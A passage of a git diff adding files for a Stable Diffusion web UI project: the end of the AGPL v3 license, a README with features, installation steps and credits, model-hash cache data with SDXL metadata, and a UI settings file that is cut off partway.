THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU Affero General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU Affero General Public License for more details. + + You should have received a copy of the GNU Affero General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If your software can interact with users remotely through a computer +network, you should also make sure that it provides a way for users to +get its source. For example, if your program is a web application, its +interface could display a "Source" link that leads users to an archive +of the code. There are many ways you could offer source, and different +solutions will be better for different programs; see section 13 for the +specific requirements. + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU AGPL, see +. diff --git a/README.md b/README.md index 3b0f0e952850a23210ed3e451c43bf1fff2a0a7a..41a1e8aa743b0d424648ab48b29f153131274151 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,177 @@ ---- -license: agpl-3.0 ---- +# Stable Diffusion web UI +A browser interface based on Gradio library for Stable Diffusion. + +![](screenshot.png) + +## Features +[Detailed feature showcase with images](https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Features): +- Original txt2img and img2img modes +- One click install and run script (but you still must install python and git) +- Outpainting +- Inpainting +- Color Sketch +- Prompt Matrix +- Stable Diffusion Upscale +- Attention, specify parts of text that the model should pay more attention to + - a man in a `((tuxedo))` - will pay more attention to tuxedo + - a man in a `(tuxedo:1.21)` - alternative syntax + - select text and press `Ctrl+Up` or `Ctrl+Down` (or `Command+Up` or `Command+Down` if you're on a MacOS) to automatically adjust attention to selected text (code contributed by anonymous user) +- Loopback, run img2img processing multiple times +- X/Y/Z plot, a way to draw a 3 dimensional plot of images with different parameters +- Textual Inversion + - have as many embeddings as you want and use any names you like for them + - use multiple embeddings with different numbers of vectors per token + - works with half precision floating point numbers + - train embeddings on 8GB (also reports of 6GB working) +- Extras tab with: + - GFPGAN, neural network that fixes faces + - CodeFormer, face restoration tool as an alternative to GFPGAN + - RealESRGAN, neural network upscaler + - ESRGAN, neural network upscaler with a lot of third party models + - SwinIR and Swin2SR ([see here](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/2092)), neural network upscalers + - LDSR, Latent diffusion super resolution upscaling +- Resizing aspect ratio options +- Sampling method selection + - Adjust sampler eta values (noise multiplier) + - More advanced noise setting options +- Interrupt processing at any time +- 4GB video card support (also reports of 2GB working) +- Correct seeds for batches +- Live prompt token length validation +- Generation parameters + - parameters you used to generate images are saved with that image + - in PNG chunks for PNG, in EXIF for JPEG + - can drag the image to PNG info tab to restore generation parameters and automatically copy them into UI + - can be disabled in settings + - drag and drop an image/text-parameters to promptbox +- Read Generation Parameters Button, loads parameters in promptbox to UI +- Settings page +- Running arbitrary python code from UI (must run with `--allow-code` to enable) +- Mouseover hints for most UI elements +- Possible to change defaults/mix/max/step values for UI elements via text config +- Tiling support, a checkbox to create images that can be tiled like textures +- Progress bar and live image generation preview + - Can use a separate neural network to produce previews with almost none VRAM or compute requirement +- Negative prompt, an extra text field that allows you to list what you don't want to see in generated image +- Styles, a way to save part of prompt and easily apply them via dropdown later +- Variations, a way to generate same image but with tiny differences +- Seed resizing, a way to generate same image but at slightly different resolution +- CLIP interrogator, a button that tries to guess prompt from an image +- Prompt Editing, a way to change prompt mid-generation, say to start making a watermelon and switch to anime girl midway +- Batch Processing, process a group of files using img2img +- Img2img Alternative, reverse Euler method of cross attention control +- Highres Fix, a convenience option to produce high resolution pictures in one click without usual distortions +- Reloading checkpoints on the fly +- Checkpoint Merger, a tab that allows you to merge up to 3 checkpoints into one +- [Custom scripts](https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Custom-Scripts) with many extensions from community +- [Composable-Diffusion](https://energy-based-model.github.io/Compositional-Visual-Generation-with-Composable-Diffusion-Models/), a way to use multiple prompts at once + - separate prompts using uppercase `AND` + - also supports weights for prompts: `a cat :1.2 AND a dog AND a penguin :2.2` +- No token limit for prompts (original stable diffusion lets you use up to 75 tokens) +- DeepDanbooru integration, creates danbooru style tags for anime prompts +- [xformers](https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Xformers), major speed increase for select cards: (add `--xformers` to commandline args) +- via extension: [History tab](https://github.com/yfszzx/stable-diffusion-webui-images-browser): view, direct and delete images conveniently within the UI +- Generate forever option +- Training tab + - hypernetworks and embeddings options + - Preprocessing images: cropping, mirroring, autotagging using BLIP or deepdanbooru (for anime) +- Clip skip +- Hypernetworks +- Loras (same as Hypernetworks but more pretty) +- A separate UI where you can choose, with preview, which embeddings, hypernetworks or Loras to add to your prompt +- Can select to load a different VAE from settings screen +- Estimated completion time in progress bar +- API +- Support for dedicated [inpainting model](https://github.com/runwayml/stable-diffusion#inpainting-with-stable-diffusion) by RunwayML +- via extension: [Aesthetic Gradients](https://github.com/AUTOMATIC1111/stable-diffusion-webui-aesthetic-gradients), a way to generate images with a specific aesthetic by using clip images embeds (implementation of [https://github.com/vicgalle/stable-diffusion-aesthetic-gradients](https://github.com/vicgalle/stable-diffusion-aesthetic-gradients)) +- [Stable Diffusion 2.0](https://github.com/Stability-AI/stablediffusion) support - see [wiki](https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Features#stable-diffusion-20) for instructions +- [Alt-Diffusion](https://arxiv.org/abs/2211.06679) support - see [wiki](https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Features#alt-diffusion) for instructions +- Now without any bad letters! +- Load checkpoints in safetensors format +- Eased resolution restriction: generated image's dimension must be a multiple of 8 rather than 64 +- Now with a license! +- Reorder elements in the UI from settings screen + +## Installation and Running +Make sure the required [dependencies](https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Dependencies) are met and follow the instructions available for: +- [NVidia](https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Install-and-Run-on-NVidia-GPUs) (recommended) +- [AMD](https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Install-and-Run-on-AMD-GPUs) GPUs. +- [Intel CPUs, Intel GPUs (both integrated and discrete)](https://github.com/openvinotoolkit/stable-diffusion-webui/wiki/Installation-on-Intel-Silicon) (external wiki page) + +Alternatively, use online services (like Google Colab): + +- [List of Online Services](https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Online-Services) + +### Installation on Windows 10/11 with NVidia-GPUs using release package +1. Download `sd.webui.zip` from [v1.0.0-pre](https://github.com/AUTOMATIC1111/stable-diffusion-webui/releases/tag/v1.0.0-pre) and extract it's contents. +2. Run `update.bat`. +3. Run `run.bat`. +> For more details see [Install-and-Run-on-NVidia-GPUs](https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Install-and-Run-on-NVidia-GPUs) + +### Automatic Installation on Windows +1. Install [Python 3.10.6](https://www.python.org/downloads/release/python-3106/) (Newer version of Python does not support torch), checking "Add Python to PATH". +2. Install [git](https://git-scm.com/download/win). +3. Download the stable-diffusion-webui repository, for example by running `git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui.git`. +4. Run `webui-user.bat` from Windows Explorer as normal, non-administrator, user. + +### Automatic Installation on Linux +1. Install the dependencies: +```bash +# Debian-based: +sudo apt install wget git python3 python3-venv libgl1 libglib2.0-0 +# Red Hat-based: +sudo dnf install wget git python3 +# Arch-based: +sudo pacman -S wget git python3 +``` +2. Navigate to the directory you would like the webui to be installed and execute the following command: +```bash +wget -q https://raw.githubusercontent.com/AUTOMATIC1111/stable-diffusion-webui/master/webui.sh +``` +3. Run `webui.sh`. +4. Check `webui-user.sh` for options. +### Installation on Apple Silicon + +Find the instructions [here](https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Installation-on-Apple-Silicon). + +## Contributing +Here's how to add code to this repo: [Contributing](https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Contributing) + +## Documentation + +The documentation was moved from this README over to the project's [wiki](https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki). + +For the purposes of getting Google and other search engines to crawl the wiki, here's a link to the (not for humans) [crawlable wiki](https://github-wiki-see.page/m/AUTOMATIC1111/stable-diffusion-webui/wiki). + +## Credits +Licenses for borrowed code can be found in `Settings -> Licenses` screen, and also in `html/licenses.html` file. + +- Stable Diffusion - https://github.com/CompVis/stable-diffusion, https://github.com/CompVis/taming-transformers +- k-diffusion - https://github.com/crowsonkb/k-diffusion.git +- GFPGAN - https://github.com/TencentARC/GFPGAN.git +- CodeFormer - https://github.com/sczhou/CodeFormer +- ESRGAN - https://github.com/xinntao/ESRGAN +- SwinIR - https://github.com/JingyunLiang/SwinIR +- Swin2SR - https://github.com/mv-lab/swin2sr +- LDSR - https://github.com/Hafiidz/latent-diffusion +- MiDaS - https://github.com/isl-org/MiDaS +- Ideas for optimizations - https://github.com/basujindal/stable-diffusion +- Cross Attention layer optimization - Doggettx - https://github.com/Doggettx/stable-diffusion, original idea for prompt editing. +- Cross Attention layer optimization - InvokeAI, lstein - https://github.com/invoke-ai/InvokeAI (originally http://github.com/lstein/stable-diffusion) +- Sub-quadratic Cross Attention layer optimization - Alex Birch (https://github.com/Birch-san/diffusers/pull/1), Amin Rezaei (https://github.com/AminRezaei0x443/memory-efficient-attention) +- Textual Inversion - Rinon Gal - https://github.com/rinongal/textual_inversion (we're not using his code, but we are using his ideas). +- Idea for SD upscale - https://github.com/jquesnelle/txt2imghd +- Noise generation for outpainting mk2 - https://github.com/parlance-zz/g-diffuser-bot +- CLIP interrogator idea and borrowing some code - https://github.com/pharmapsychotic/clip-interrogator +- Idea for Composable Diffusion - https://github.com/energy-based-model/Compositional-Visual-Generation-with-Composable-Diffusion-Models-PyTorch +- xformers - https://github.com/facebookresearch/xformers +- DeepDanbooru - interrogator for anime diffusers https://github.com/KichangKim/DeepDanbooru +- Sampling in float32 precision from a float16 UNet - marunine for the idea, Birch-san for the example Diffusers implementation (https://github.com/Birch-san/diffusers-play/tree/92feee6) +- Instruct pix2pix - Tim Brooks (star), Aleksander Holynski (star), Alexei A. Efros (no star) - https://github.com/timothybrooks/instruct-pix2pix +- Security advice - RyotaK +- UniPC sampler - Wenliang Zhao - https://github.com/wl-zhao/UniPC +- TAESD - Ollin Boer Bohan - https://github.com/madebyollin/taesd +- LyCORIS - KohakuBlueleaf +- Restart sampling - lambertae - https://github.com/Newbeeer/diffusion_restart_sampling +- Initial Gradio script - posted on 4chan by an Anonymous user. Thank you Anonymous user. +- (You) diff --git a/__pycache__/launch.cpython-39.pyc b/__pycache__/launch.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..82653acd200f105680e81bd8ed76c67f70e2bc25 Binary files /dev/null and b/__pycache__/launch.cpython-39.pyc differ diff --git a/__pycache__/webui.cpython-39.pyc b/__pycache__/webui.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..ff97e8accfb4b7879f2f9f1d10358fd1830fafc6 Binary files /dev/null and b/__pycache__/webui.cpython-39.pyc differ diff --git a/cache.json b/cache.json new file mode 100644 index 0000000000000000000000000000000000000000..e1a3ec3c3febd94dff3cbcb04f03001abf20cc11 --- /dev/null +++ b/cache.json @@ -0,0 +1,176 @@ +{ + "hashes": { + "checkpoint/model.ckpt": { + "mtime": 1696792120.27544, + "sha256": "ad2a33c361c1f593c4a1fb32ea81afce2b5bb7d1983c6b94793a26a3b54b08a0" + }, + "checkpoint/sd_xl_base_1.0.safetensors": { + "mtime": 1696792171.2954402, + "sha256": "31e35c80fc4829d14f90153f4c74cd59c90b779f6afe05a74cd6120b893f7e5b" + }, + "checkpoint/sd_xl_refiner_1.0.safetensors": { + "mtime": 1696792230.3254404, + "sha256": "7440042bbdc8a24813002c09b6b69b64dc90fded4472613437b7f55f9b7d9c5f" + } + }, + "extensions-git": { + "safetensors": { + "mtime": 1696792000.1054397, + "value": { + "remote": "https://github.com/huggingface/safetensors", + "commit_date": 1696431979, + "branch": "main", + "commit_hash": "96061e97bb7fc4ea6cdd1f79f58701efc4710d22", + "version": "96061e97" + } + } + }, + "safetensors-metadata": { + "checkpoint/sd_xl_base_1.0.safetensors": { + "mtime": 1696792171.2954402, + "value": { + "modelspec.sai_model_spec": "1.0.0", + "modelspec.architecture": "stable-diffusion-xl-v1-base", + "modelspec.implementation": "https://github.com/Stability-AI/generative-models", + "modelspec.title": "Stable Diffusion XL 1.0 Base", + "modelspec.author": "StabilityAI", + "modelspec.description": "SDXL 1.0 Base Model, compositional expert. SDXL, the most advanced development in the Stable Diffusion text-to-image suite of models. SDXL produces massively improved image and composition detail over its predecessors. The ability to generate hyper-realistic creations for films, television, music, and instructional videos, as well as offering advancements for design and industrial use, places SDXL at the forefront of real world applications for AI imagery.", + "modelspec.date": "2023-07-26", + "modelspec.resolution": "1024x1024", + "modelspec.prediction_type": "epsilon", + "modelspec.license": "CreativeML Open RAIL++-M License", + "modelspec.hash_sha256": "0xd7a9105a900fd52748f20725fe52fe52b507fd36bee4fc107b1550a26e6ee1d7" + } + }, + "checkpoint/sd_xl_base_1.0_0.9vae.safetensors": { + "mtime": 1696792205.4754403, + "value": { + "modelspec.sai_model_spec": "1.0.0", + "modelspec.architecture": "stable-diffusion-xl-v1-base", + "modelspec.implementation": "https://github.com/Stability-AI/generative-models", + "modelspec.title": "Stable Diffusion XL 1.0 Base", + "modelspec.author": "StabilityAI", + "modelspec.description": "SDXL 1.0 Base Model, compositional expert. SDXL, the most advanced development in the Stable Diffusion text-to-image suite of models. SDXL produces massively improved image and composition detail over its predecessors. The ability to generate hyper-realistic creations for films, television, music, and instructional videos, as well as offering advancements for design and industrial use, places SDXL at the forefront of real world applications for AI imagery.", + "modelspec.date": "2023-07-26", + "modelspec.resolution": "1024x1024", + "modelspec.prediction_type": "epsilon", + "modelspec.license": "CreativeML Open RAIL++-M License", + "modelspec.hash_sha256": "0x5e756477ea9ddde7a552c6e2d7926f849e8b0dfd2f0b513ff17b7d31faedd79f" + } + }, + "checkpoint/sd_xl_offset_example-lora_1.0.safetensors": { + "mtime": 1696792205.5654404, + "value": { + "ss_adaptive_noise_scale": "None", + "ss_base_model_version": "sdxl_base_v0-9", + "ss_cache_latents": "True", + "ss_caption_dropout_every_n_epochs": "0", + "ss_caption_dropout_rate": "0.0", + "ss_caption_tag_dropout_rate": "0.0", + "ss_clip_skip": "None", + "ss_dataset_dirs": { + "": { + "n_repeats": 1, + "img_count": 7412 + } + }, + "ss_datasets": "[{\"is_dreambooth\": true, \"batch_size_per_device\": 1, \"num_train_images\": 7412, \"num_reg_images\": 0, \"resolution\": [1024, 1024], \"enable_bucket\": false, \"min_bucket_reso\": null, \"max_bucket_reso\": null, \"tag_frequency\": {\"\": {\"contrast\": 7412}}, \"bucket_info\": null, \"subsets\": [{\"img_count\": 7412, \"num_repeats\": 1, \"color_aug\": false, \"flip_aug\": false, \"random_crop\": false, \"shuffle_caption\": false, \"keep_tokens\": 1, \"image_dir\": \"\", \"class_tokens\": \"contrast\", \"is_reg\": false}]}]", + "ss_epoch": "4", + "ss_face_crop_aug_range": "None", + "ss_full_fp16": "False", + "ss_gradient_accumulation_steps": "1", + "ss_gradient_checkpointing": "False", + "ss_learning_rate": "0.0009", + "ss_lowram": "False", + "ss_lr_scheduler": "cosine_with_restarts", + "ss_lr_warmup_steps": "100", + "ss_max_grad_norm": "1.0", + "ss_max_token_length": "None", + "ss_max_train_steps": "7750", + "ss_min_snr_gamma": "None", + "ss_mixed_precision": "fp16", + "ss_multires_noise_discount": "0.3", + "ss_multires_noise_iterations": "None", + "ss_network_alpha": "1", + "ss_network_args": { + "conv_dim": "8" + }, + "ss_network_dim": "8", + "ss_network_dropout": "None", + "ss_network_module": "networks.lora", + "ss_new_sd_model_hash": "a0f13b7eb4f4807f6863db3da874cb01e3cd0d5e2c481b6b01b8ea4a3139542c", + "ss_noise_offset": "0.2", + "ss_num_batches_per_epoch": "155", + "ss_num_epochs": "50", + "ss_num_reg_images": "0", + "ss_num_train_images": "7412", + "ss_optimizer": "transformers.optimization.Adafactor(scale_parameter=False,relative_step=False,warmup_init=False)", + "ss_output_name": "offset_0.2", + "ss_prior_loss_weight": "1.0", + "ss_scale_weight_norms": "None", + "ss_sd_model_hash": "b1facb5b", + "ss_sd_model_name": "SDXL_1-0.safetensors", + "ss_sd_scripts_commit_hash": "71a6d49d0663fbdeacab11c1050c33384695122b", + "ss_seed": "42", + "ss_session_id": "2452006521", + "ss_steps": "620", + "ss_tag_frequency": { + "": { + "contrast": 7412 + } + }, + "ss_text_encoder_lr": "None", + "ss_training_comment": "None", + "ss_training_finished_at": "1689972654.070616", + "ss_training_started_at": "1689970447.43792", + "ss_unet_lr": "None", + "ss_v2": "False", + "sshs_legacy_hash": "fec84cf7", + "sshs_model_hash": "8e3e833226b356a1bb9688b472e8e36315cd8a656f1a2d576bc13edd251392dd", + "modelspec.sai_model_spec": "1.0.0", + "modelspec.architecture": "stable-diffusion-xl-v1-base/lora", + "modelspec.title": "SDXL 1.0 Official Offset Example LoRA", + "modelspec.author": "StabilityAI", + "modelspec.description": "This is an example LoRA for SDXL 1.0 (Base) that adds Offset Noise to the model, trained by KaliYuga for StabilityAI. When applied, it will extend the image's contrast (range of brightness to darkness), which is particularly popular for producing very dark or nighttime images. At low percentages, it improves contrast and perceived image quality; at higher percentages it can be a powerful tool to produce perfect inky black. This small file (50 megabytes) demonstrates the power of LoRA on SDXL and produces a clear visual upgrade to the base model without needing to replace the 6.5 gigabyte full model. The LoRA was heavily trained with the keyword `contrasts`, which can be used alter the high-contrast effect of offset noise.", + "modelspec.usage_hint": "Recommended strength: 50% (0.5). The keyword `contrasts` may alter the effect.", + "modelspec.date": "2023-07-26", + "modelspec.resolution": "1024x1024", + "modelspec.prediction_type": "epsilon", + "modelspec.license": "CreativeML Open RAIL++-M License", + "modelspec.hash_sha256": "0x8e3e833226b356a1bb9688b472e8e36315cd8a656f1a2d576bc13edd251392dd" + } + }, + "checkpoint/sd_xl_refiner_1.0.safetensors": { + "mtime": 1696792230.3254404, + "value": { + "modelspec.sai_model_spec": "1.0.0", + "modelspec.architecture": "stable-diffusion-xl-v1-refiner", + "modelspec.implementation": "https://github.com/Stability-AI/generative-models", + "modelspec.title": "Stable Diffusion XL 1.0 Refiner", + "modelspec.author": "StabilityAI", + "modelspec.description": "SDXL 1.0 Refiner Model, small-detail expert. SDXL, the most advanced development in the Stable Diffusion text-to-image suite of models. SDXL produces massively improved image and composition detail over its predecessors. The ability to generate hyper-realistic creations for films, television, music, and instructional videos, as well as offering advancements for design and industrial use, places SDXL at the forefront of real world applications for AI imagery.", + "modelspec.date": "2023-07-26", + "modelspec.resolution": "1024x1024", + "modelspec.prediction_type": "epsilon", + "modelspec.license": "CreativeML Open RAIL++-M License", + "modelspec.hash_sha256": "0x1a77d21bebc4b4de78c474a90cb74dc0d2217caf4061971dbfa75ad406b75d81" + } + }, + "checkpoint/sd_xl_refiner_1.0_0.9vae.safetensors": { + "mtime": 1696792254.4554405, + "value": { + "modelspec.sai_model_spec": "1.0.0", + "modelspec.architecture": "stable-diffusion-xl-v1-refiner", + "modelspec.implementation": "https://github.com/Stability-AI/generative-models", + "modelspec.title": "Stable Diffusion XL 1.0 Refiner", + "modelspec.author": "StabilityAI", + "modelspec.description": "SDXL 1.0 Refiner Model, small-detail expert. SDXL, the most advanced development in the Stable Diffusion text-to-image suite of models. SDXL produces massively improved image and composition detail over its predecessors. The ability to generate hyper-realistic creations for films, television, music, and instructional videos, as well as offering advancements for design and industrial use, places SDXL at the forefront of real world applications for AI imagery.", + "modelspec.date": "2023-07-26", + "modelspec.resolution": "1024x1024", + "modelspec.prediction_type": "epsilon", + "modelspec.license": "CreativeML Open RAIL++-M License", + "modelspec.hash_sha256": "0xbd66e233fe562ec88905be017143dfd44db8da3ebfc762e7069e18ee94cc7fc8" + } + } + } +} \ No newline at end of file diff --git a/config.json b/config.json new file mode 100644 index 0000000000000000000000000000000000000000..fa122f84bb054a90a36c0353d4c73294197dae0e --- /dev/null +++ b/config.json @@ -0,0 +1,233 @@ +{ + "samples_save": true, + "samples_format": "png", + "samples_filename_pattern": "", + "save_images_add_number": true, + "grid_save": true, + "grid_format": "png", + "grid_extended_filename": false, + "grid_only_if_multiple": true, + "grid_prevent_empty_spots": false, + "grid_zip_filename_pattern": "", + "n_rows": -1, + "font": "", + "grid_text_active_color": "#000000", + "grid_text_inactive_color": "#999999", + "grid_background_color": "#ffffff", + "enable_pnginfo": true, + "save_txt": false, + "save_images_before_face_restoration": false, + "save_images_before_highres_fix": false, + "save_images_before_color_correction": false, + "save_mask": false, + "save_mask_composite": false, + "jpeg_quality": 80, + "webp_lossless": false, + "export_for_4chan": true, + "img_downscale_threshold": 4.0, + "target_side_length": 4000, + "img_max_size_mp": 200, + "use_original_name_batch": true, + "use_upscaler_name_as_suffix": false, + "save_selected_only": true, + "save_init_img": false, + "temp_dir": "", + "clean_temp_dir_at_start": false, + "save_incomplete_images": false, + "outdir_samples": "", + "outdir_txt2img_samples": "outputs/txt2img-images", + "outdir_img2img_samples": "outputs/img2img-images", + "outdir_extras_samples": "outputs/extras-images", + "outdir_grids": "", + "outdir_txt2img_grids": "outputs/txt2img-grids", + "outdir_img2img_grids": "outputs/img2img-grids", + "outdir_save": "log/images", + "outdir_init_images": "outputs/init-images", + "save_to_dirs": true, + "grid_save_to_dirs": true, + "use_save_to_dirs_for_ui": false, + "directories_filename_pattern": "[date]", + "directories_max_prompt_words": 8, + "ESRGAN_tile": 192, + "ESRGAN_tile_overlap": 8, + "realesrgan_enabled_models": [ + "R-ESRGAN 4x+", + "R-ESRGAN 4x+ Anime6B" + ], + "upscaler_for_img2img": null, + "face_restoration": false, + "face_restoration_model": "CodeFormer", + "code_former_weight": 0.5, + "face_restoration_unload": false, + "auto_launch_browser": "Local", + "show_warnings": false, + "show_gradio_deprecation_warnings": true, + "memmon_poll_rate": 8, + "samples_log_stdout": false, + "multiple_tqdm": true, + "print_hypernet_extra": false, + "list_hidden_files": true, + "disable_mmap_load_safetensors": false, + "hide_ldm_prints": true, + "api_enable_requests": true, + "api_forbid_local_requests": true, + "api_useragent": "", + "unload_models_when_training": false, + "pin_memory": false, + "save_optimizer_state": false, + "save_training_settings_to_txt": true, + "dataset_filename_word_regex": "", + "dataset_filename_join_string": " ", + "training_image_repeats_per_epoch": 1, + "training_write_csv_every": 500, + "training_xattention_optimizations": false, + "training_enable_tensorboard": false, + "training_tensorboard_save_images": false, + "training_tensorboard_flush_every": 120, + "sd_model_checkpoint": "sd_xl_base_1.0.safetensors [31e35c80fc]", + "sd_checkpoints_limit": 1, + "sd_checkpoints_keep_in_cpu": true, + "sd_checkpoint_cache": 0, + "sd_unet": "Automatic", + "enable_quantization": false, + "enable_emphasis": true, + "enable_batch_seeds": true, + "comma_padding_backtrack": 20, + "CLIP_stop_at_last_layers": 1, + "upcast_attn": false, + "randn_source": "GPU", + "tiling": false, + "hires_fix_refiner_pass": "second pass", + "sdxl_crop_top": 0, + "sdxl_crop_left": 0, + "sdxl_refiner_low_aesthetic_score": 2.5, + "sdxl_refiner_high_aesthetic_score": 6.0, + "sd_vae_explanation": "VAE is a neural network that transforms a standard RGB\nimage into latent space representation and back. Latent space representation is what stable diffusion is working on during sampling\n(i.e. when the progress bar is between empty and full). For txt2img, VAE is used to create a resulting image after the sampling is finished.\nFor img2img, VAE is used to process user's input image before the sampling, and to create an image after sampling.", + "sd_vae_checkpoint_cache": 0, + "sd_vae": "Automatic", + "sd_vae_overrides_per_model_preferences": true, + "auto_vae_precision": true, + "sd_vae_encode_method": "Full", + "sd_vae_decode_method": "Full", + "inpainting_mask_weight": 1.0, + "initial_noise_multiplier": 1.0, + "img2img_extra_noise": 0.0, + "img2img_color_correction": false, + "img2img_fix_steps": false, + "img2img_background_color": "#ffffff", + "img2img_editor_height": 720, + "img2img_sketch_default_brush_color": "#ffffff", + "img2img_inpaint_mask_brush_color": "#ffffff", + "img2img_inpaint_sketch_default_brush_color": "#ffffff", + "return_mask": false, + "return_mask_composite": false, + "cross_attention_optimization": "Automatic", + "s_min_uncond": 0.0, + "token_merging_ratio": 0.0, + "token_merging_ratio_img2img": 0.0, + "token_merging_ratio_hr": 0.0, + "pad_cond_uncond": false, + "persistent_cond_cache": true, + "batch_cond_uncond": true, + "use_old_emphasis_implementation": false, + "use_old_karras_scheduler_sigmas": false, + "no_dpmpp_sde_batch_determinism": false, + "use_old_hires_fix_width_height": false, + "dont_fix_second_order_samplers_schedule": false, + "hires_fix_use_firstpass_conds": false, + "use_old_scheduling": false, + "interrogate_keep_models_in_memory": false, + "interrogate_return_ranks": false, + "interrogate_clip_num_beams": 1, + "interrogate_clip_min_length": 24, + "interrogate_clip_max_length": 48, + "interrogate_clip_dict_limit": 1500, + "interrogate_clip_skip_categories": [], + "interrogate_deepbooru_score_threshold": 0.5, + "deepbooru_sort_alpha": true, + "deepbooru_use_spaces": true, + "deepbooru_escape": true, + "deepbooru_filter_tags": "", + "extra_networks_show_hidden_directories": true, + "extra_networks_hidden_models": "When searched", + "extra_networks_default_multiplier": 1.0, + "extra_networks_card_width": 0, + "extra_networks_card_height": 0, + "extra_networks_card_text_scale": 1.0, + "extra_networks_card_show_desc": true, + "extra_networks_add_text_separator": " ", + "ui_extra_networks_tab_reorder": "", + "textual_inversion_print_at_load": false, + "textual_inversion_add_hashes_to_infotext": true, + "sd_hypernetwork": "None", + "localization": "None", + "gradio_theme": "Default", + "gradio_themes_cache": true, + "gallery_height": "", + "return_grid": true, + "do_not_show_images": false, + "send_seed": true, + "send_size": true, + "js_modal_lightbox": true, + "js_modal_lightbox_initially_zoomed": true, + "js_modal_lightbox_gamepad": false, + "js_modal_lightbox_gamepad_repeat": 250, + "show_progress_in_title": true, + "samplers_in_dropdown": true, + "dimensions_and_batch_together": true, + "keyedit_precision_attention": 0.1, + "keyedit_precision_extra": 0.05, + "keyedit_delimiters": ".,\\/!?%^*;:{}=`~()", + "keyedit_move": true, + "quicksettings_list": [ + "sd_model_checkpoint" + ], + "ui_tab_order": [], + "hidden_tabs": [], + "ui_reorder_list": [], + "hires_fix_show_sampler": false, + "hires_fix_show_prompts": false, + "disable_token_counters": false, + "add_model_hash_to_info": true, + "add_model_name_to_info": true, + "add_user_name_to_info": false, + "add_version_to_infotext": true, + "disable_weights_auto_swap": true, + "infotext_styles": "Apply if any", + "show_progressbar": true, + "live_previews_enable": true, + "live_previews_image_format": "png", + "show_progress_grid": true, + "show_progress_every_n_steps": 10, + "show_progress_type": "Approx NN", + "live_preview_allow_lowvram_full": false, + "live_preview_content": "Prompt", + "live_preview_refresh_period": 1000, + "live_preview_fast_interrupt": false, + "hide_samplers": [], + "eta_ddim": 0.0, + "eta_ancestral": 1.0, + "ddim_discretize": "uniform", + "s_churn": 0.0, + "s_tmin": 0.0, + "s_tmax": 0.0, + "s_noise": 1.0, + "k_sched_type": "Automatic", + "sigma_min": 0.0, + "sigma_max": 0.0, + "rho": 0.0, + "eta_noise_seed_delta": 0, + "always_discard_next_to_last_sigma": false, + "sgm_noise_multiplier": false, + "uni_pc_variant": "bh1", + "uni_pc_skip_type": "time_uniform", + "uni_pc_order": 3, + "uni_pc_lower_order_final": true, + "postprocessing_enable_in_main_ui": [], + "postprocessing_operation_order": [], + "upscaling_max_images_in_cache": 5, + "disabled_extensions": [], + "disable_all_extensions": "none", + "restore_config_state_file": "", + "sd_checkpoint_hash": 